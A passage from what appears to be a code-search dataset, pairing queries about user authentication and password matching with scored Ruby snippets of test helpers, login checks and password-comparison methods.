element_is_text?\n !self[:is_tag]\n end", "title": "" }, { "docid": "6e6905d2b85927ebcf7632f621e77e33", "score": "0.5454487", "text": "def assert_no_difference(expressions, message = nil, &block)\n assert_difference expressions, 0, message, &block\n end", "title": "" }, { "docid": "957d17894dcc45d81ced63344f10624e", "score": "0.5444071", "text": "def join_public_league_pop_up_should_not_be_displayed\n\n page.should_not have_content(read_file_content(JOIN_A_PUBLIC_LEAGUE_PATH))\n sleep(THREAD_SLEEP_1)\n\n end", "title": "" }, { "docid": "ebb70137bd9ab07986804c7372ba5ac5", "score": "0.5414938", "text": "def user_should_not_be_logged_in\n expect(page).to have_no_css 'div.navbar div.navbar-inner ul li a#sign_out', visible: false\nend", "title": "" }, { "docid": "c232c1804e0b5ecd3a3a0a51dceea9a2", "score": "0.54079807", "text": "def check_empty_element(p, name)\n p.elements[name].text || \"\"\nend", "title": "" }, { "docid": "652e093a1608567525fbb9bb955d0160", "score": "0.53825843", "text": "def empty_content?(element)\n element.texts.join.blank?\n end", "title": "" }, { "docid": "46653aca04fb2408b6dc5c8d046e7a82", "score": "0.53714263", "text": "def assert_no_difference(expressions, message = nil, &block)\n assert_difference expressions, 0, message, &block\n end", "title": "" }, { "docid": "842007206e46963996b470428ca06be7", "score": "0.53708714", "text": "def check_if_id_contains_text(id, text)\n wait_for_element_exists(\"* id:'#{id}' {text CONTAINS[c] '#{text}'}\")\n end", "title": "" }, { "docid": "59155dbf0a352464b06a864b0cc00a57", "score": "0.5368362", "text": "def sorry_message_displayed\n expect(no_items_found).to include(\"we're sorry we couldn't find anything to match your search\")\n end", "title": "" }, { "docid": "1cf9c1f7bc0d774885342ece05a32544", "score": "0.5367927", "text": "def wait_for_text_to_include(locator, string)\n wait_for { text(locator).include?(string) }\n end", "title": "" }, { "docid": "82e88a14a7fa04ba2ee2ef042f5740e0", "score": "0.5356234", "text": "def join_private_league_pop_up_should_not_be_displayed\n\n page.should_not have_content(read_file_content(JOIN_A_PRIVATE_LEAGUE_PATH))\n sleep(THREAD_SLEEP_1)\n\n end", "title": "" }, { "docid": "d5aaa23e9c96d6e6eb2869c69db173f9", "score": "0.534828", "text": "def DISABLED_test_empty_string\n assert_tokenises_as ''\n end", "title": "" }, { "docid": "c72109ffbf2a2b55ba79906c198481d8", "score": "0.53429943", "text": "def texts text\n @driver.find_elements :xpath, \"//*[contains(@text, '#{text}')]\"\n end", "title": "" }, { "docid": "ed75301d26775fde28396d9e5740924e", "score": "0.53399324", "text": "def assert_not_in_body(*strings)\n strings.each do |string|\n assert last_response.body.index(string).nil?,\n \"Did not expect '#{string}' to be in last_response.body\"\n end\n end", "title": "" }, { "docid": "7af53a728b2069e01b16e18b89fb45a8", "score": "0.5339818", "text": "def expect_fields_to_be_blank\n expect(page).to have_field(\"Email\", with: \"\", type: \"email\")\n expect(find_field(\"Password\", type: \"password\").value).to be_nil\n expect(find_field(\"Password confirmation\", type: \"password\").value).to be_nil\n end", "title": "" } ]
9d2b5849da809a18749be6243311e012
This routine is being used to determine claim is for UNAUTHENTICATED user or not. If there is a current_user that means that this claim is authenticated, so it is not a public type of claim.
[ { "docid": "da80e5499ace634ea9e17cebb9dfce86", "score": "0.71727574", "text": "def claim_public?\n @current_user.nil?\n end", "title": "" } ]
[ { "docid": "adb27929ab77598371543a2a9768560c", "score": "0.67624193", "text": "def authenticating_with_unauthorized_record?\n authenticating_with == :unauthorized_record\n end", "title": "" }, { "docid": "36d083124391ac9ee100707d3813d85e", "score": "0.67150944", "text": "def user_is_authenticated\r\n !!current_user\r\n end", "title": "" }, { "docid": "a0427a4e6b640e155cc0b63f0dae8aae", "score": "0.6709212", "text": "def to_user_not_authenticated?\n return if user_not_authenticated?\n end", "title": "" }, { "docid": "71ae6a071b08bac2b20955863aff2af6", "score": "0.65617865", "text": "def current_user\n !session[:uid].nil?\n end", "title": "" }, { "docid": "7cc5eaf3327287f3274358ba30ebc817", "score": "0.65259624", "text": "def user_is_current\n fetch_user\n\n unless current_user?(@user)\n flash[:error] = t(:not_authorized)\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "cd563c43286b1f92ca557c2c258a168e", "score": "0.6444183", "text": "def is_not_authenticated?\n # if yes, it is not nil.. else false\n session[:user].nil?\nend", "title": "" }, { "docid": "e5ab2df94e380133516a9b1a59179fc5", "score": "0.6367821", "text": "def not_authenticated(user_id)\n if user_id == nil\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "dc28bf51fee0fca1e0f804bfdcf6d021", "score": "0.6334995", "text": "def if_not_logged_in\n !view_context.user_signed_in?\n end", "title": "" }, { "docid": "a870f29d87be7019e992988c0edc3720", "score": "0.63334113", "text": "def unclaimed?\n claimant.nil?\n end", "title": "" }, { "docid": "d15b0329d602af7c4cf588034d31aec6", "score": "0.6316506", "text": "def has_auth?\n !current_person.nil?\n end", "title": "" }, { "docid": "1aaf37498c7869bf86783a63fc5e0e09", "score": "0.6310143", "text": "def is_not_authenticated?\n session[:user].nil?\nend", "title": "" }, { "docid": "6e92e0cdf406eb8bedc8b68ef74b9ac0", "score": "0.6286938", "text": "def logged_in_normal_user?\n normal_user.present?\n end", "title": "" }, { "docid": "c48a0edd1baa1361a042fd4882de2234", "score": "0.6284647", "text": "def check_current_user_owns\n head :not_found unless @user == current_user\n end", "title": "" }, { "docid": "10aa6072072ac042b1ba13978e332ed0", "score": "0.6279741", "text": "def authenticate_user?\n !current_user.nil?\n end", "title": "" }, { "docid": "4a853da9f3882e07313b4d159e462cff", "score": "0.62452364", "text": "def check_if_current_user\r\n User.current_user && User.current_user != self\r\n end", "title": "" }, { "docid": "a419dc25ad323dda04fcca1fa9837ec6", "score": "0.6241058", "text": "def is_authorized\n (!current_user.nil? and auth_types.include? current_user.user_attributes[:bor_type])\n end", "title": "" }, { "docid": "14e7fc83418ff4231585d639ab05072b", "score": "0.6176742", "text": "def i_dont_own?(object)\n if(current_user.present? and object.user.present? and object.user.id.present? and (current_user.id == object.user.id))\n false\n else\n true\n end\n end", "title": "" }, { "docid": "2dea944f3d783921b58253c8b17d1958", "score": "0.6161693", "text": "def user_authenticated?\n !session[:user_id].nil?\n end", "title": "" }, { "docid": "f7020294381c350b0b6b05970114c2d8", "score": "0.6158774", "text": "def block_unauthenticated_user!\n unless current_user\n return render_unauthorized\n end\n end", "title": "" }, { "docid": "a8833f208753913bc883f3b1677c413c", "score": "0.6144574", "text": "def logged_in_user?\n !current_user.nil?\n end", "title": "" }, { "docid": "bef31ff2933028c93ade06f3e22dbefa", "score": "0.6126758", "text": "def authorized?\n # TODO(samstern): Check for expired token.\n !(session[:user_id].nil?)\n end", "title": "" }, { "docid": "b1e5d2dabb651303e9f2c07b74d4dde6", "score": "0.6090143", "text": "def is_potential_user?\n\t\ttrue\n\tend", "title": "" }, { "docid": "542b71d7e106d3c2f4ccd30faa14797d", "score": "0.608252", "text": "def current_or_guest_user?\n !current_or_guest_user.nil?\n end", "title": "" }, { "docid": "041537109f99f1f505a9b4244d622b15", "score": "0.6081289", "text": "def is_not_authenticated\n campaign = get_campaign\n params[:campaign] = campaign\n\n unless authenticated? || (request.format && request.format.symbol && request.format.symbol == :json) || campaign && !campaign.is_gated?(params, session)\n flash[:error] = \"you must be logged in to see that\"\n session[:source] = request.path\n if campaign && campaign.path\n redirect_to \"/#{campaign.path}/login\"\n else\n redirect_to '/login'\n end\n\n false\n end\n end", "title": "" }, { "docid": "bd9c0c7040aa65fd4d8c23a67aac4ea3", "score": "0.6052754", "text": "def user_logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "bd9c0c7040aa65fd4d8c23a67aac4ea3", "score": "0.6052754", "text": "def user_logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "bd9c0c7040aa65fd4d8c23a67aac4ea3", "score": "0.6052754", "text": "def user_logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "bd9c0c7040aa65fd4d8c23a67aac4ea3", "score": "0.6052754", "text": "def user_logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "bd9c0c7040aa65fd4d8c23a67aac4ea3", "score": "0.6052754", "text": "def user_logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "bd9c0c7040aa65fd4d8c23a67aac4ea3", "score": "0.6052754", "text": "def user_logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "6a8d4df4c62331f5b07e926c2a3536e4", "score": "0.6044769", "text": "def is_current_user?\n current_account.id.eql?(object.user.id)\n end", "title": "" }, { "docid": "e98618072c8ef81161ab6d78b9487da6", "score": "0.602724", "text": "def logged_in?\n current_user != nil \nend", "title": "" }, { "docid": "bd2d5c5094b9e193eb3b92ceb551c8e2", "score": "0.6025612", "text": "def logged_in\n current_user != nil\n end", "title": "" }, { "docid": "3960df6bc879f510b3099ab850100cae", "score": "0.60216105", "text": "def current_user()\n nil\n end", "title": "" }, { "docid": "b94d96dfd0f9d0d0c78ed8f7733ca04b", "score": "0.6020257", "text": "def logged_in?\n !real_user.nil?\n end", "title": "" }, { "docid": "34e1f96888479187cb1dcb6bdc9e40f0", "score": "0.59957373", "text": "def unauthorized\n @email = session_user.cas_email\n end", "title": "" }, { "docid": "0a193c1e22d0949fcb2b428f30a7b071", "score": "0.5990349", "text": "def authenticated?\n !anonymous?\n end", "title": "" }, { "docid": "4a16e00034628ff2fdec8af87a799893", "score": "0.5977385", "text": "def authenticated?\n !@user.nil?\n end", "title": "" }, { "docid": "649bb1b82e21cf4205776dea018668b8", "score": "0.5968956", "text": "def current_user\n nil\n end", "title": "" }, { "docid": "058510142ad3ca89a3e5bc44da0d07ae", "score": "0.5966971", "text": "def logged_in?\n!current_user.nil?end", "title": "" }, { "docid": "f544256f6461e21f8fd74559642533d0", "score": "0.59649897", "text": "def anyone_signed_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "28d941eebdf42b51dbf4af590302f6ae", "score": "0.5964326", "text": "def restricted?\n return ( self.user_type == User::USER_TYPE_NORMAL )\n end", "title": "" }, { "docid": "6106756ad69cf57ad3d250218947c2b6", "score": "0.596378", "text": "def logged_in?\n current_user != :false \n end", "title": "" }, { "docid": "d65a79c4135e08748b05c5f8a5622857", "score": "0.59605104", "text": "def logged_in\n !current_user.nil?\n end", "title": "" }, { "docid": "6b3b404e31760aec23d061edadbe5734", "score": "0.5960499", "text": "def logged_in?\n not current_user.nil?\n end", "title": "" }, { "docid": "93504724285e6af7ca8036f3a413d89e", "score": "0.5954687", "text": "def user_defined?\n !@user.nil? || !@user['userId'].nil?\n end", "title": "" }, { "docid": "addc638e0bf370ebcf4e4e2407647001", "score": "0.59527063", "text": "def user_owns_identity_url?\n current_user && current_user.login.downcase == extract_identity(openid_request.identity_url)\n end", "title": "" }, { "docid": "e62f8e44daa9fb3fe1cc58ffb9a66a3d", "score": "0.59510213", "text": "def logged_in?\n \t!current_user.nil?\n !current_provider.nil?\n end", "title": "" }, { "docid": "e77fbd0277372962ef4bebf6c7512e83", "score": "0.5950882", "text": "def authorized?\n !!@req.env['REMOTE_USER']\n end", "title": "" }, { "docid": "ecf152a01d55f4d4a9e09c0e5df22a1b", "score": "0.5948102", "text": "def logged_in?\r\n current_user != :false\r\n end", "title": "" }, { "docid": "d60746e3c94dffcb70fced1002091250", "score": "0.5947782", "text": "def current_user?\n return session[:user_id] != nil\n end", "title": "" }, { "docid": "580a3e60c549688c4e4d1a9cb8b841eb", "score": "0.59400886", "text": "def logged_in?\n !current_user.blank?\n end", "title": "" }, { "docid": "3039d7135ba2d89a7b984e1713d435a2", "score": "0.5938321", "text": "def logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "ab9b0ef3fabfda3364d62c9533c50bb3", "score": "0.59363705", "text": "def authorized?\n !!request.env['REMOTE_USER']\n end", "title": "" }, { "docid": "cbde7c1541ed8cae533c71ceb3cabfaf", "score": "0.5929608", "text": "def logged_in?\n !(current_user.nil?)\n end", "title": "" }, { "docid": "0b992de3ae924fb635639ef51389cb8d", "score": "0.5927193", "text": "def logged_in?\n !current_person.nil?\n end", "title": "" }, { "docid": "0b992de3ae924fb635639ef51389cb8d", "score": "0.5927193", "text": "def logged_in?\n !current_person.nil?\n end", "title": "" }, { "docid": "aa40dadefc28b6f32293d2a33989b90b", "score": "0.5926476", "text": "def logged_in?\n\t\t!!current_user\n end", "title": "" }, { "docid": "3540772fd972a7da03efdbb05fa25d96", "score": "0.59147286", "text": "def logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "3540772fd972a7da03efdbb05fa25d96", "score": "0.59147286", "text": "def logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "57566425253733e7e61b622d9b1c7d5d", "score": "0.59137565", "text": "def is_user_specific?\n false\n end", "title": "" }, { "docid": "ac2d488acd8347b4616ce1e5fbf5435d", "score": "0.5907517", "text": "def logged_in?\n\t\t!!current_user\n\tend", "title": "" }, { "docid": "ac2d488acd8347b4616ce1e5fbf5435d", "score": "0.5907517", "text": "def logged_in?\n\t\t!!current_user\n\tend", "title": "" }, { "docid": "ac2d488acd8347b4616ce1e5fbf5435d", "score": "0.5907517", "text": "def logged_in?\n\t\t!!current_user\n\tend", "title": "" }, { "docid": "ac2d488acd8347b4616ce1e5fbf5435d", "score": "0.5907517", "text": "def logged_in?\n\t\t!!current_user\n\tend", "title": "" }, { "docid": "ac2d488acd8347b4616ce1e5fbf5435d", "score": "0.5907517", "text": "def logged_in?\n\t\t!!current_user\n\tend", "title": "" }, { "docid": "ac2d488acd8347b4616ce1e5fbf5435d", "score": "0.5907517", "text": "def logged_in?\n\t\t!!current_user\n\tend", "title": "" }, { "docid": "f1766f6efe51109b2aee5092ade63355", "score": "0.5907422", "text": "def logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "05a940e4fee020520532e03d16e6394a", "score": "0.5904513", "text": "def logged_in?\n!current_user.nil?\nend", "title": "" }, { "docid": "05a940e4fee020520532e03d16e6394a", "score": "0.5904513", "text": "def logged_in?\n!current_user.nil?\nend", "title": "" }, { "docid": "fb2480c5f37925ff6836bbb89eff29b6", "score": "0.5904314", "text": "def logged_in?\n current_user != nil\n end", "title": "" }, { "docid": "fb2480c5f37925ff6836bbb89eff29b6", "score": "0.5904314", "text": "def logged_in?\n current_user != nil\n end", "title": "" }, { "docid": "fb2480c5f37925ff6836bbb89eff29b6", "score": "0.5904314", "text": "def logged_in?\n current_user != nil\n end", "title": "" }, { "docid": "d7a69a2bd567a1aea1480602485d02ca", "score": "0.5901401", "text": "def current_user?\n \n end", "title": "" }, { "docid": "67eac6fcb113375d3113884d4f972998", "score": "0.58923423", "text": "def user_present?\n current_user.present?\n end", "title": "" }, { "docid": "2366ec28dc4b4be6344357a63b95c219", "score": "0.5891305", "text": "def authenticated?\n false\n end", "title": "" }, { "docid": "b63bae4056d224d5ea9f85bc40c0d9e9", "score": "0.58867955", "text": "def check_user\n if current_user.nil?\n render status: :forbidden, json: false\n return\n end\n end", "title": "" }, { "docid": "3d12929be9e13d705e3a951f174cc187", "score": "0.58864635", "text": "def logged_in?\n !!current_ma_user\n end", "title": "" }, { "docid": "1fd9f97ff94d12bea08242cab04eadc2", "score": "0.58855397", "text": "def logged_in?\n current_user != :false\n end", "title": "" }, { "docid": "1fd9f97ff94d12bea08242cab04eadc2", "score": "0.58855397", "text": "def logged_in?\n current_user != :false\n end", "title": "" }, { "docid": "bb645e2a7654bcd297d7b1c03bf34572", "score": "0.5885389", "text": "def logged_in?\n current_user != :false\n end", "title": "" }, { "docid": "73e0a9af4b67615029f1412bb2ee47f0", "score": "0.5884399", "text": "def logged_in?\n!!current_user\nend", "title": "" }, { "docid": "ac7ae8251721e26d5eb0a91beaef7314", "score": "0.5879011", "text": "def loged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "407f51587897037b26cb96c542fc160a", "score": "0.5875051", "text": "def authorized?\n render nothing: true, status: :forbidden if !current_account\n end", "title": "" }, { "docid": "a067e9d2fe5c33a433d7fa7ca1f0f27a", "score": "0.587434", "text": "def authorized?(tmp_user)\n user == tmp_user\n end", "title": "" }, { "docid": "22fd18b0ff6c1a589a87abcdaa872c29", "score": "0.5873779", "text": "def verify_logged_in\n if not current_user\n render json: '[]', status: :unauthorized\n end\n end", "title": "" }, { "docid": "ce4b651d1533d3275c400ab8d9f43747", "score": "0.5867086", "text": "def allow_access\n !current_cas_user.nil?\n end", "title": "" }, { "docid": "efbaeebd6f709da3b22e5be727017103", "score": "0.5861534", "text": "def app_authorized?\n user_info=JSON.parse(base64_url_decode(params[:signed_request].split('.')[1]))\n user_info.has_key?('user_id') && (@current_user ||= User.find_by_fb_id(user_info['user_id']))\n end", "title": "" }, { "docid": "7ca5faebf031f7dbcfcef352ec8bd057", "score": "0.58602417", "text": "def logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "7ca5faebf031f7dbcfcef352ec8bd057", "score": "0.58602417", "text": "def logged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "03dba47a38d8ff680fa736c0643901c2", "score": "0.5858193", "text": "def may_not_be_user_required\n\t\tcurrent_user.may_not_be_user?(@user) || access_denied(\n\t\t\t\"You may not be this user to do this\", user_path(current_user))\n\tend", "title": "" }, { "docid": "888d4aa0ba62798033b66396e1165bc0", "score": "0.584831", "text": "def user_logged_in?\n current_user.present?\n end", "title": "" }, { "docid": "888d4aa0ba62798033b66396e1165bc0", "score": "0.584831", "text": "def user_logged_in?\n current_user.present?\n end", "title": "" }, { "docid": "966e8ec5d0b92bfd04ca3748b1ae1cf0", "score": "0.58460826", "text": "def authorized?\n @authorized ||= current_user.present? # TODO: Check for authorization\n end", "title": "" }, { "docid": "2de9c6b5c92215915a121480a958494c", "score": "0.5846063", "text": "def unauthorized_user!\n if @user != current_user\n redirect_to root_path, status: :unauthorized, alert: 'You can only perform this action on your own user!'\n end\n end", "title": "" }, { "docid": "218b498a750abb9f96908a6812f33a0b", "score": "0.58460385", "text": "def loged_in?\n !current_user.nil?\n end", "title": "" }, { "docid": "5079ed35936daea86a0585c2c8ffd485", "score": "0.58422065", "text": "def logged_in?\n return !current_user.nil?\n end", "title": "" }, { "docid": "5079ed35936daea86a0585c2c8ffd485", "score": "0.58422065", "text": "def logged_in?\n return !current_user.nil?\n end", "title": "" }, { "docid": "a8f89fdafc1f0c6d16aee3db5681cba0", "score": "0.58419114", "text": "def signed_in?\r\n !current_user.nil?\r\n end", "title": "" }, { "docid": "4ae01999ce72353e016ab6d68897042c", "score": "0.5841257", "text": "def current_user\n nil\n end", "title": "" } ]
bc1ca7bbdf027728839efcebef3bfea0
Checks to see if the password matches that on record for the user
[ { "docid": "b96262dc52d1f2fa3e7d01276754fae3", "score": "0.82530314", "text": "def password_match?\n @passwords.fetch(@username) == @password\n end", "title": "" } ]
[ { "docid": "57df920243fe40f91ff52f32e516e052", "score": "0.80231345", "text": "def change_password?\n user.present? && user == record\n end", "title": "" }, { "docid": "60e7f8aeef81b82290c3af8c9ec9ebac", "score": "0.8011452", "text": "def valid_password?(password)\n # TODO Use JustCode logic to compare stored value\n read_attribute(:password) == password\n end", "title": "" }, { "docid": "831ccfcfed46aa5573b56b1f12953326", "score": "0.799461", "text": "def passwords_match?(password)\n self.password == hash(password) ? self : nil\n end", "title": "" }, { "docid": "bb1665b1684276b1a0d8700dc890b135", "score": "0.79790473", "text": "def password_match?(password=\"\")\n hashed_password == AdminUser.hash_with_salt(password, salt)\n end", "title": "" }, { "docid": "6b10412b75632977e7d86c45750460c5", "score": "0.7950529", "text": "def password_match?(password)\n \tself.password == Digest::SHA2.hexdigest(password)\n end", "title": "" }, { "docid": "140687b816c0c5dd0ca5989afa4a7170", "score": "0.7940972", "text": "def password_match?(password=\"\")\n\t\thashed_password == User.hash_with_salt(password, salt)\n\tend", "title": "" }, { "docid": "1b8703ca94531a08eed09deb4c05772a", "score": "0.79406434", "text": "def password_test(username, password)\n db = call_db()\n result_password = db.execute(\"SELECT Password FROM users WHERE Username = ?\", username)\n status = false\n if result_password != []\n if BCrypt::Password.new(result_password.first[\"Password\"]) == password\n status = true\n end\n end\n return status\n end", "title": "" }, { "docid": "d4cbeacaec2a29727495b53607052f54", "score": "0.7929997", "text": "def password_match?(password=\"\")\n password == User.hash_with_salt(password, salt)\n end", "title": "" }, { "docid": "913263aa52c4829f75cd6fb1266efe82", "score": "0.79164517", "text": "def does_password_match?(supplied_password)\n BCrypt::Password.new(self.password) == supplied_password\n end", "title": "" }, { "docid": "913263aa52c4829f75cd6fb1266efe82", "score": "0.79164517", "text": "def does_password_match?(supplied_password)\n BCrypt::Password.new(self.password) == supplied_password\n end", "title": "" }, { "docid": "2a33b5272cdded80fbbfda376965a2e6", "score": "0.7895348", "text": "def passwords_match?(password)\n self.password_was == Password.hashed_password(password_salt, password) ? self : nil\n end", "title": "" }, { "docid": "5b274cb45bc870053f412efb3d3c1e69", "score": "0.7873926", "text": "def password_match?(password=\"\")\n hashed_password == User.hash_with_salt(password, salt)\n end", "title": "" }, { "docid": "5b274cb45bc870053f412efb3d3c1e69", "score": "0.7873926", "text": "def password_match?(password=\"\")\n hashed_password == User.hash_with_salt(password, salt)\n end", "title": "" }, { "docid": "5b274cb45bc870053f412efb3d3c1e69", "score": "0.7873926", "text": "def password_match?(password=\"\")\n hashed_password == User.hash_with_salt(password, salt)\n end", "title": "" }, { "docid": "5b274cb45bc870053f412efb3d3c1e69", "score": "0.7873926", "text": "def password_match?(password=\"\")\n hashed_password == User.hash_with_salt(password, salt)\n end", "title": "" }, { "docid": "16c5f87bad4dea164207274d9a29edff", "score": "0.78627086", "text": "def password_match?(password=\"\")\n\t\n\t\thashed_password == User.hash_with_salt(password,salt)\n\t\n\tend", "title": "" }, { "docid": "b0aa3e9c9efd07fec19e013049d87c19", "score": "0.7861626", "text": "def valid_password?(password)\n self.password == password\n end", "title": "" }, { "docid": "cb3bb0304292295f03fd06f8102df362", "score": "0.78590405", "text": "def password_matches?(password_to_match)\n \n self.hashed_password == Digest::MD5.hexdigest(self.salt + password_to_match)\n \n end", "title": "" }, { "docid": "ede16985f2df06dd05ba17c76a834eb4", "score": "0.78402776", "text": "def verify_password(password)\n\t\tself.password == password\n\tend", "title": "" }, { "docid": "e99616c5e75e41090d16ab2bb1ddc0ef", "score": "0.78262895", "text": "def changed_password?\n params[:db_user][:password] != @user_password\n end", "title": "" }, { "docid": "c422da277e9ed9ca189542218158b344", "score": "0.7808801", "text": "def password_match?(password=\"\")\n hashed_password == Admin.hash_with_salt(password, salt)\n end", "title": "" }, { "docid": "4d6a2f4654a2ce28d6901b9713c030d3", "score": "0.7806653", "text": "def match_password(login_password=\"\")\n self.password == BCrypt::Engine.hash_secret(login_password, self.salt)\n end", "title": "" }, { "docid": "d2949b32b478b8bd59e25968407d966c", "score": "0.7801056", "text": "def valid_password?(user, password)\n\tuser.password == password\nend", "title": "" }, { "docid": "056728feaaf3c5b7166f9b185b25bade", "score": "0.7800446", "text": "def has_password?(submitted_password)\n #Compare stored to submitted encrypted versions\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "2ddca6b95d823f4de037b725c6c6f1f0", "score": "0.77956825", "text": "def password_match?(password=\"\")\n hashed_pass == self.class.hash_with_salt(password, salt)\n end", "title": "" }, { "docid": "b45226999c167f714bcc2d8b3820b58c", "score": "0.7765268", "text": "def has_password?(submitted_password) #for logging in\n #compare encrypted_password with the encrypted version of submitted_pw\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "110ab503c7bd5a188526dc3c5555e0a7", "score": "0.7764561", "text": "def password_equals?(value)\n return hash_string(value) == self.password\n end", "title": "" }, { "docid": "cd31224a310c35360dc085040a601d1c", "score": "0.7735497", "text": "def correct_password?(params)\n # Encrypt the password supplied.\n# current_password = MD5.new(params[:user][:current_password]).to_s unless params[:user][:current_password].to_s =~ /^[\\dabcdef]{32}$/ \n # Compare it to the already encrypted one stored in the DB.\n password == MD5.new(params[:user][:current_password]).to_s unless params[:user][:current_password].to_s =~ /^[\\dabcdef]{32}$/\n end", "title": "" }, { "docid": "b7a2ac36164f2951c44ebed0e5dc8b3c", "score": "0.7733951", "text": "def check_password?(submitted_password)\n self.encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "f165c009a99758b7ba960909cbe6f390", "score": "0.7729677", "text": "def validate_by_password\n self.invalid_password = false\n self.attempted_record = search_for_record(find_by_login_method, send(login_field))\n if self.attempted_record.blank?\n errors.add(login_field, \"找不到该帐号!\")\n else\n # Run password verification first, but then adjust the validity if both\n # password hash and password field are blank.\n self.invalid_password = !self.attempted_record.send(verify_password_method, send(\"protected_#{password_field}\"))\n #if self.attempted_record.password_hash.blank? && send(\"protected_#{password_field}\").blank?\n # self.invalid_password = false\n #end\n if self.invalid_password?\n errors.add(password_field, \"密码不正确!\")\n end\n end\n end", "title": "" }, { "docid": "05f8b95fed5cfeb21a3efee40c8062aa", "score": "0.7728227", "text": "def correct_password?(params)\n current_password=params[:user][:current_password]\n password==current_password\n end", "title": "" }, { "docid": "6728b013703a976dd787f2300a5b2dab", "score": "0.77204657", "text": "def correct_password?(params)\n current_password = params[:user][:current_password]\n password == current_password\n end", "title": "" }, { "docid": "a7dd7f81baa4f6343dd0f6d42fe608c6", "score": "0.7715176", "text": "def password_matches?(password)\n self.pwd_hash == BCrypt::Engine.hash_secret(password, self.pwd_salt)\n end", "title": "" }, { "docid": "19423fe0a17e69c47969c8c17c1aecc6", "score": "0.7710285", "text": "def has_matching_password?\n if self.password.blank? || self.encrypted_password.blank?\n false\n elsif self.old_password.nil?\n # match current password against encrypted password\n self.encrypted_password == encrypt(self.password)\n else\n # match old password against encrypted password (for password change)\n self.encrypted_password == encrypt(self.old_password)\n end\n end", "title": "" }, { "docid": "da98dd4fcbd8e64237a3e757b4cdc3ba", "score": "0.7683547", "text": "def correct_password?(params)\n current_password = params[:user][:current_password]\n password == current_password\n end", "title": "" }, { "docid": "da98dd4fcbd8e64237a3e757b4cdc3ba", "score": "0.7683547", "text": "def correct_password?(params)\n current_password = params[:user][:current_password]\n password == current_password\n end", "title": "" }, { "docid": "da98dd4fcbd8e64237a3e757b4cdc3ba", "score": "0.7683547", "text": "def correct_password?(params)\n current_password = params[:user][:current_password]\n password == current_password\n end", "title": "" }, { "docid": "da98dd4fcbd8e64237a3e757b4cdc3ba", "score": "0.7683547", "text": "def correct_password?(params)\n current_password = params[:user][:current_password]\n password == current_password\n end", "title": "" }, { "docid": "0b2a1f5cdf80387642e7782bb85dcfb0", "score": "0.76716554", "text": "def valid_password?(password); end", "title": "" }, { "docid": "2799095a3ede3af1c000b06db31d7d40", "score": "0.7656115", "text": "def has_password?(potentialPassword)\n encrypted_password == encrypt_password(potentialPassword)\n end", "title": "" }, { "docid": "2799095a3ede3af1c000b06db31d7d40", "score": "0.7656115", "text": "def has_password?(potentialPassword)\n encrypted_password == encrypt_password(potentialPassword)\n end", "title": "" }, { "docid": "4dad1579565598d390c5d6b85f758bf0", "score": "0.7643396", "text": "def has_password?(submitted_password)\n en_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "91472fe479295db181d528400bca4d71", "score": "0.76410115", "text": "def has_password?(submited_pwd)\n self.encrypted_password == encrypt(submited_pwd)\n end", "title": "" }, { "docid": "d706b746a08c10df775da10c1062ff2e", "score": "0.7637883", "text": "def password_matches? password\n BCrypt::Password.new(self.crypted_password) == password + self.password_salt\n end", "title": "" }, { "docid": "5ddfeff68cf021d322ffbf1136529665", "score": "0.76251405", "text": "def is_password_correct?(password)\n converted_real_password = Base64.encode64(self.password)\n converted_parameter_password = Base64.encode64(password)\n converted_parameter_password == converted_real_password\n end", "title": "" }, { "docid": "88e132ab4d55905586c2c6aacb98378d", "score": "0.7624368", "text": "def passwordsMatch?(username, password)\n exists = userExists? username\n\n db = openDatabase\n db.interrupt\n statement = db.prepare(\"select password from Users where username=?\")\n statement.bind_params(username)\n\n if exists\n statement.execute.each do |row|\n if BCrypt::Password.new(row[0]) == password\n return true # Passwords match\n end\n end\n end\n\n return false # Passwords do not match\nend", "title": "" }, { "docid": "6ed21009ce28bc1fba99b610b6d9af8e", "score": "0.7616322", "text": "def matches_pw?(submitted_pw)\n encrypted_pw == encrypt(submitted_pw)\n end", "title": "" }, { "docid": "69888ce785d79ebcc5f9c8f509f41d5b", "score": "0.7608752", "text": "def has_password?( submitted_password )\n encrypted_password == encrypt( submitted_password )\n end", "title": "" }, { "docid": "203df218fce0a9b96e7d1dd282d441ee", "score": "0.7605088", "text": "def is_password?(pw)\n return BCrypt::Password.new(self.password_digest) == pw\n end", "title": "" }, { "docid": "139aa8ec29dc8a83a29dc36a1935484c", "score": "0.7604817", "text": "def has_password?(submitted_password)\n\t\t encrypted_password == encrypt(submitted_password)\n\t end", "title": "" }, { "docid": "d44d5d20caa3fc92e4f2609521f98074", "score": "0.76031744", "text": "def match_password(login_password=\"\")\n encrypted_password == Digest::SHA1.hexdigest(login_password)\n end", "title": "" }, { "docid": "9162dd2c9714c73fd216ea05966e36a4", "score": "0.75915265", "text": "def has_password?(submitted_password)\r\n encrypted_password==encrypt(submitted_password)\r\n end", "title": "" }, { "docid": "7aa42eef20a7aa7bd6dcc413b18e886d", "score": "0.75877374", "text": "def has_password?(submitted_password)\n encrypted_password == encrypt(submitted_password)\n end", "title": "" }, { "docid": "cf5f19bc027d140a5eb018329ccfa344", "score": "0.7586775", "text": "def has_password?(submitted_password)\r\n encrypted_password == encrypt(submitted_password)\r\n end", "title": "" }, { "docid": "cf5f19bc027d140a5eb018329ccfa344", "score": "0.7586775", "text": "def has_password?(submitted_password)\r\n encrypted_password == encrypt(submitted_password)\r\n end", "title": "" }, { "docid": "0aaa1a7d9162a61072b39ed44eb88bbd", "score": "0.75825816", "text": "def 